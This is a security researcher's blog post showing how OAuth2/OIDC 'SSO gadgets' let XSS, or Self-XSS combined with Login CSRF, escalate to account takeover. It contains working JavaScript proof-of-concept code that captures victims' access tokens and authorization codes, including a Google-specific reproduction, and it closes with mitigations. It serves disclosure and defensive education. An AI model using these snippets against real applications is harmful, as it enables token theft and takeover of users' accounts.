POSTS
SSO Gadgets: Escalate (Self-)XSS to ATO
- 15 minutes read - 3108 wordsWith the rise of Single-Sign-On (SSO) and especially OAuth 2.0 and OpenID Connect (OIDC), the attack surface of web applications has increased significantly. In this post, I will show how to escalate a Cross-Site Scripting (XSS) vulnerability to an Account Takeover (ATO) by abusing OAuth2/OIDC gadgets and how to prevent such attacks.
XSS is a powerful attack, as it allows an attacker to execute arbitrary JavaScript code on the victim’s browser. While this enables the attacker to perform actions within the application on behalf of the victim user, in a perfect world, the attacker would not be able to completely take over a user’s account. In this post, I will discuss that it is still possible in many cases to escalate an XSS vulnerability to an Account Takeover (ATO) by abusing OAuth2/OIDC gadgets. Under certain conditions, SSO gadgets can even allow the escalation of allegedly harmless vulnerabilities such as Self-XSS (combined with Login CSRF) to an ATO.
To formalize the term “account takeover”, we define that the attacker’s objective is to obtain a victim’s access_token
(+ an associated id_token
in case of OIDC) and to use it to log into the victim’s account. To simplify the used examples, we will focus on the access_token
, because in most cases the id_token
can be obtained using the same gadget.
Table of Contents
Fundamentals
If you are familiar with OAuth2/OIDC, public/confidential clients, and the associated protocol flows feel free to skip this section.
OAuth2/OIDC
As of 2023, OAuth 2.0 (delegated authorization) and OIDC (additional authentication layer) are the de-facto standards that are used to implement SSO logins in modern websites. They are for instance used by “Sign in with Google”, “Sign in with Facebook” and “Sign in with Apple”. In this context, Apple, Facebook, and Google are also often referred to as “Identity Providers” (IdPs) or “Login Providers”.
In this section, I will outline some of the most important concepts of OAuth2/OIDC for this post. For a more detailed explanation, I recommend having a look at the specification documents for OAuth2 and OIDC.
Formally, there is a clear distinction between authorization (OAuth2) and authentication (OIDC):
- Authorization: The bearer
access_token
is used to authorize actions on behalf of the user. This is the main purpose of OAuth2. - Authentication: The “identity layer on top of the OAuth 2.0”1 introduced with OIDC allows the authentication of a user. Technically, OIDC mainly introduced a JSON Web Token (JWT)2 called
id_token
which contains the user’s identity information (e.g. name, email, etc.).
However, in practice, they are often used together, and to take over an account, it is sufficient to obtain the access_token
of a victim user. In this post, I will use the term OAuth2/OIDC to refer to both protocols.
Public vs. Confidential Client
In terms of OAuth2/OIDC, a Client is an entity that is granted permission to access a user’s resources (authorization) or authenticates a user (authentication). In the context of SSO, a Client is usually a web application. In general, there are two types of clients3:
- Public Clients: This includes all clients which are not able to keep a secret, such as a web browser app or a mobile app.
- Confidential Clients: This includes all clients which can keep a secret, such as a web server.
Confidential Clients use an additional client_secret
to authenticate themselves to the IdP. This secret is used during the Token Request to redeem an authorization_code
for an access_token
and is not sent to the user agent. From an attacker’s perspective, this means that the attacker cannot directly obtain an access_token
for a victim user’s code
value, as the attacker does not know the client_secret
. This is the reason why Confidential Clients are considered more secure than Public Clients.
Protocol Flow(s)
As of 2023, it is recommended to use the authorization code flow with PKCE for all OAuth flows4 to authorize entities or authenticate users.
An exemplary flow for a Confidential Client could look like this:
Besides this flow, there is also the less-secure implicit flow, which is deprecated and will be dropped in OAuth 2.15. The flow is described in detail in the OAuth2 specification. The core difference to the previously described flow is that the access_token
is returned directly to the client, instead of being exchanged for an authorization_code
first. This means that the access_token
is directly exposed to the user agent and can be obtained by an attacker.
SSO Gadgets
SSO Gadgets are OAuth2/OIDC behaviors that may not be intended to be used by the application but can be abused by an attacker to obtain an access_token
or id_token
for the victim user. The following sections describe common SSO Gadgets and how they could be chained to escalate an XSS vulnerability to an ATO.
All SSO Gadgets covered in this post have the following:
- The victim user has an active session at the IdP.
- The victim user granted consent for the vulnerable application.
- The IdP supports the
prompt=none
auth. request parameter6.
Case 1: Client Configuration supports Implicit Flow (despite the Client using Code Flow with PKCE normally)
In this scenario, we are dealing with a client which uses the authorization code flow with PKCE to authenticate the user. Even though the flow that is used by the application follows the current best practice, the client configuration also allows using the implicit flow (which is not recommended anymore and will be dropped in OAuth 2.15).
A malicious actor can then abuse the implicit flow to directly obtain an access_token
for the victim user.
An exemplary JavaScript snippet that utilizes the implicit flow to obtain an access_token
is shown below. The attacker can use this snippet to obtain an access_token
for the victim user:
// Perform implicit auth, consent, and active session required
let exploitWindow = window.open(
"https://www.idp.com/authorize?client_id=example-client-id&state=aaaaaaaaa&response_type=token&scope=openid&redirect_uri=https%3A%2F%2Fvictim.com&prompt=none",
"example",
"width=600,height=400,status=yes,scrollbars=yes,resizable=yes"
);
// Obtain access_token
// Access to exploitWindow.window.location is only possible from same origin of window
setTimeout(function(){
alert(exploitWindow.window.location);
exploitWindow.close()
},5000);
Please note that we assume that the application does not support the implicit flow and the login flow “breaks”. The victim user ends up on the redirect_uri
of the application, which is not able to handle the access_token
value. The attacker can then use the above snippet to obtain the access_token
value from the window’s URL and perform an “Access Token Injection”7 attack.
In detail, the above snippet performs the following steps:
- Open a new window with the implicit flow URL.
- Wait for 5 seconds until the SSO flow is completed and the URL of the
exploitWindow
holds the sensitiveaccess_token
value. - Close the window and display the URL of the window. The URL contains the
access_token
value.
Please also note that it is only possible to access the exploitWindow.window.location
from the same origin as the exploitWindow
itself. This is why the attacker needs to host the exploit on the same domain as the exploitWindow
, i.e. they need to have XSS to directly utilize this gadget.
Some applications redirect the user in the case of an error during authentication. As the access_token
value may be removed from the URL in this process, a slightly modified version of the above snippet can be used to obtain the access_token
value from the exploitWindow
before the redirect occurs:
// As there is a redirect if parameters are missing on Auth Response,
// we need to loop over the exploitWindow and try to regularly obtain the token until we succeed
function tryToObtainToken() {
setTimeout(function () {
try {
let test = exploitWindow.window.location;
if(test.toString()!="about:blank") {
alert(test);
exploitWindow.close()
return; // end loop
}
} catch (error) {
console.log(error);
}
tryToObtainToken(); // loop
}, 100);
}
/**********************************************************************************/
// Perform implicit auth, consent, and active session required
exploitWindow = window.open(
"https://www.idp.com/authorize?client_id=example-client-id&state=aaaaaaaaa&response_type=token&scope=openid&redirect_uri=https%3A%2F%2Fvictim.com&prompt=none&response_mode=fragment",
"example",
"width=600,height=400,status=yes,scrollbars=yes,resizable=yes"
);
// Obtain access_token - access to exploitWindow.window.location is only possible from same origin of window though
tryToObtainToken();
Case 2: Confidential Client, OAuth with Code Flow (no PKCE)
In this scenario, we are dealing with a confidential client which uses the authorization code flow without PKCE to authenticate the user. Further, the client configuration does not allow to use the implicit flow. Still, a malicious actor can use the authorization code flow to obtain an access_token
for the victim user as follows:
- The attacker injects a malicious JavaScript snippet into the vulnerable application, just like they did in the previous case. The key difference is, that the
code
must not be redeemed by the application before the attacker can send it to their server and then use it to obtain anaccess_token
on their own. This can for instance be achieved by using an invalidstate
value or aresponse_mode=fragment
parameter if supported by the IdP. Frans Rosén wrote a great blog post about this topic and introduced the term “Non-Happy” paths for this8.
// Perform code flow, consent, and active session required
let exploitWindow = window.open(
"https://www.idp.com/authorize?client_id=example-client-id&state=aaaaaaaaa&response_type=code&scope=openid&redirect_uri=https%3A%2F%2Fvictim.com&prompt=none&response_mode=fragment",
"example",
"width=600,height=400,status=yes,scrollbars=yes,resizable=yes"
);
// Obtain access_token - access to exploitWindow.window.location is only possible from same origin of window though
setTimeout(function(){
alert(exploitWindow.window.location);
exploitWindow.close()
},5000);
- After obtaining the victim’s
code
value, the malicious actor starts a fresh login flow at the application. During this login flow, they swap thecode
value with the victim’scode
value:
- The attacker is authenticated as the victim user.
This attack is also referred to as the “Authorization Code Injection” attack9. If you want to learn more about this attack, please have a look at the OAuth 2.0 Security Best Current Practice.
Case 3: SPA with Code Flow + PKCE
In this scenario, we are dealing with a public client which uses the authorization code flow with PKCE to authenticate the user. Further, the client configuration does not allow to use of the implicit flow. It should be noted that XSS in the case of a SPA that serves as a public client is known to allow “full compromise the application”10.
A malicious actor can use the authorization code flow to obtain an access_token
for the victim user as follows:
- Inject JavaScript into the application’s origin.
- Compute
code_verifier
andcode_challenge
as described in RFC 7636. - Use JavaScript to open a new window with the authorization code flow URL including the chosen PKCE values.
- Wait for the
code
value to be present in the URL of the new window. - Obtain the
code
value from the URL of the window and then close the window. - Issue a POST request to the token endpoint of the IdP with the
code
value and thecode_verifier
value to obtain the victim user’saccess_token
.
// Perform implicit auth, consent, and active session required
let exploitWindow = window.open(
"https://www.idp.com/authorize?client_id=example-client-id&state=aaaaaaaaa&response_type=code&scope=openid&redirect_uri=https%3A%2F%2Fvictim.com&prompt=none&response_mode=fragment&code_challenge=gfMmh9Zig74zi0NGMbjxM0tvS8qXTC13-mJ9LipFxYU&code_challenge_method=S256",
"example",
"width=600,height=400,status=yes,scrollbars=yes,resizable=yes"
);
function redeemCode(code) {
fetch("https://www.idp.com/token", {
method: 'POST',
mode: 'cors',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: `client_id=example-client-id&redirect_uri=https%3A%2F%2Fvictim.com&grant_type=authorization_code&code_verifier=this-is-just-a-test-that-needs-to-be-strong-enough&code=${code}`
}).then((response) => response.json()).then((data) => alert(data.access_token));
}
// Obtain access_token - access to exploitWindow.window.location is only possible from same origin of window though
setTimeout(function(){
let code = new URLSearchParams(exploitWindow.window.location.hash.substring(1)).get('code');
exploitWindow.close();
redeemCode(code);
}, 5000);
In case the IdP does not return an optional long-living refresh_token
value by default, a malicious actor can try to explicitly request a refresh_token
value by adding the offline_access
scope to the authorization request11. If the IdP responds with a refresh_token
, this value can then be used to obtain a fresh access_token
value at a later point in time.
Please note: This gadget only works because we are dealing with a public client. If we were dealing with a confidential client, the attacker would not be able to directly issue the - otherwise required - client_secret
to the token endpoint.
Real World Examples
As we already have discussed the fundamentals and outlined the general idea of SSO Gadgets, we can now look at some real-world examples. The following sections describe real-world examples of SSO Gadgets and how they could be chained to escalate an XSS vulnerability to an ATO.
Ex. 1: Self XSS + Login CSRF + SSO Gadget = ATO
This vulnerability chain (in slightly different variants) was identified in the context of multiple private Bug Bounty programs. I therefore cannot disclose the details of the vulnerabilities. However, I can describe the general idea of the vulnerabilities and how they could be chained to escalate a Self-XSS vulnerability to an ATO.
Login CSRF into Attacker’s Account
The very first aspect of the exploit chain was a Login CSRF vulnerability which enabled an attacker to log in a user into the attacker’s account. Especially in the context of SSO implementations, Login CSRF vulnerabilities are quite common. Still, as many Bug Bounty programs tend to exclude this type of CSRF from their scope, researchers do not seem to pay much attention to this type of vulnerability.
There are multiple common patterns of Login CSRF vulnerabilities, for instance:
- Login form without Anti-CSRF token.
- Missing CSRF protection in OAuth2/OIDC flow: Weak or no
state
value, no PKCE12. - Custom redirect to the main application including session information or token as GET parameter on login:
GET /token-login?google_token=eyJ[...] HTTP/1.1
Host: victim.com
[...]
Self-XSS within Username
The second aspect of the exploit chain was a Self-XSS vulnerability within the username. This vulnerability could be used to inject a malicious JavaScript snippet into the victim user’s browser. As this was a Self-XSS, normally users could only “attack” themselves using this vulnerability. Even chained with the mentioned Login CSRF vulnerability, this would not have a significant impact, as the attacker would be only able to perform actions within the attacker account’s session at the target application.
SSO Gadget
The third aspect of the exploit chain was the SSO Gadget. Even though the victim user would not be logged in within the target application after executing the Login CSRF, they would still have an active session at the Login Provider.
Consequently, an SSO gadget could be used to directly obtain the victim user’s access_token
from the Login Provider. This access_token
could then be used to perform actions within the target application on behalf of the victim user or to directly access restricted APIs on behalf of the victim user.
The full attack chain could be executed as follows:
- Prepare an attacker account with JavaScript payload within the user name.
- Login the victim user into the attacker account using the Login CSRF vulnerability.
- Redirect the victim user to the target application.
- Execute the JavaScript payload within the victim user’s browser.
- Use the SSO Gadget to obtain the victim user’s
access_token
. - Use the
access_token
to perform actions within the target application on behalf of the victim user.
Ex. 2: Google SSO: Broadly Accessibly SSO Gadget
Google is a very common Login Provider. As of January 2023, it is not possible to disable the implicit flow in Google’s OAuth 2.0 configuration for clients with the type “web-application”. This means that many web application which use Google as a Login Provider are vulnerable to the first SSO Gadget. In fact, that the implicit flow cannot be disabled, was already noted in StackOverflow questions years ago13.
Furthermore, as Google supports the prompt=none
parameter, it is directly possible to utilize the first SSO gadget introduced in this post against many web applications that support Google Sign-In.
Steps to reproduce:
Browse this link and grant initial consent.
Browse lhq.at and execute the following JavaScript code in the developer console (to simulate XSS):
// Perform implicit auth, consent, and active session required
let exploitWindow = window.open(
"https://accounts.google.com/o/oauth2/v2/auth?client_id=1085360721064-dhd33gk78mmbmrukkgjm3384v8fmte4o.apps.googleusercontent.com&redirect_uri=https://lhq.at&state=a&response_type=token&scope=openid&prompt=none",
"a",
"width=600,height=400,status=yes,scrollbars=yes,resizable=yes"
);
// Obtain access_token - access to exploitWindow.window.location is only possible from same origin of window
setTimeout(function(){
alert(exploitWindow.window.location);
exploitWindow.close();
},2000);
- Observe that there is an
alert()
prompt that includes the complete URL of theexploitWindow
. This URL includes theaccess_token
which can be used to perform actions on behalf of the victim user.
This issue was reported to Google in December 202214. However, as of February 2023, the issue is still not fixed.
Mitigation
To define a thorough mitigation strategy, we need to understand the underlying mechanisms of SSO Gadgets. As we have seen in the previous sections, SSO Gadgets rely on the possibility to obtain an access_token
from the Login Provider from within the application’s origin.
Consequently, the following mitigation strategies should be considered
- Use the code flow with PKCE for all clients, as it is also recommended by the OAuth 2.0 Best Current Practice4 and the OAuth 2.1 specification draft5.
- Disable all unused protocol flows (e.g.
response_type=token
for the implicit flow). - Carefully evaluate the support of the
prompt=none
parameter. If feasible, disable it. - Follow the OAuth 2.0 current practice for Browser-Based Apps. Especially for Single Page Applications (SPAs), there are design patterns that can prevent direct access to the
access_token
from within the application’s origin (e.g. by using a Token Mediating Backend or by Acquiring tokens from a Service Worker).
Slightly unrelated to SSO Gadgets, but still noteworthy in this context: In case your application implements SSO capabilities, you should carefully evaluate whether you really want to exclude Open Redirects, Login CSRF, and Self-XSS from your security scope (and resulting Bug Bounty Policies).
Conclusion
In this post, I have discussed the concept of SSO Gadgets and how they can be used to escalate an XSS vulnerability to an ATO. I have also discussed some real-world examples of SSO Gadgets and outlined some mitigation strategies to prevent SSO Gadgets from being used to escalate an XSS vulnerability to an ATO.
Hopefully, this raises awareness about the potential impact of erroneous SSO configurations and the importance of properly implementing OAuth/OIDC. Further, I hope that this post will help developers to better understand the potential of allegedly “harmless” vulnerabilities such as Self-XSS and Login CSRF in the context of SSO implementations.
Thank you for reading this post! If you have any feedback, feel free to reach out via Mastodon, Twitter or LinkedIn. 👨💻
I would like to thank Louis Jannett for his help in reviewing this post. 🙏
You can directly tweet about this post using this link. 🤓
oauth.net: Summary of changes introduced with OAuth 2.1 ↩︎ ↩︎ ↩︎
OAuth 2.0 Security Best Current Practice: Access Token Injection ↩︎
Frans Rosén: Account hijacking using “dirty dancing” in sign-in OAuth-flows ↩︎
OAuth 2.0 Security Best Current Practice: Authorization Code Injection ↩︎
OAuth 2.0 Security Best Current Practice: Protecting Redirect-Based Flows ↩︎
StackOverflow: Disabling implicit flow for Google OAuth (Web Server applications)? ↩︎
Google SSO exposes Relying Parties to an ATO Gadget by do not allowing developers to disable the OAuth 2.0 Implicit Flow. ↩︎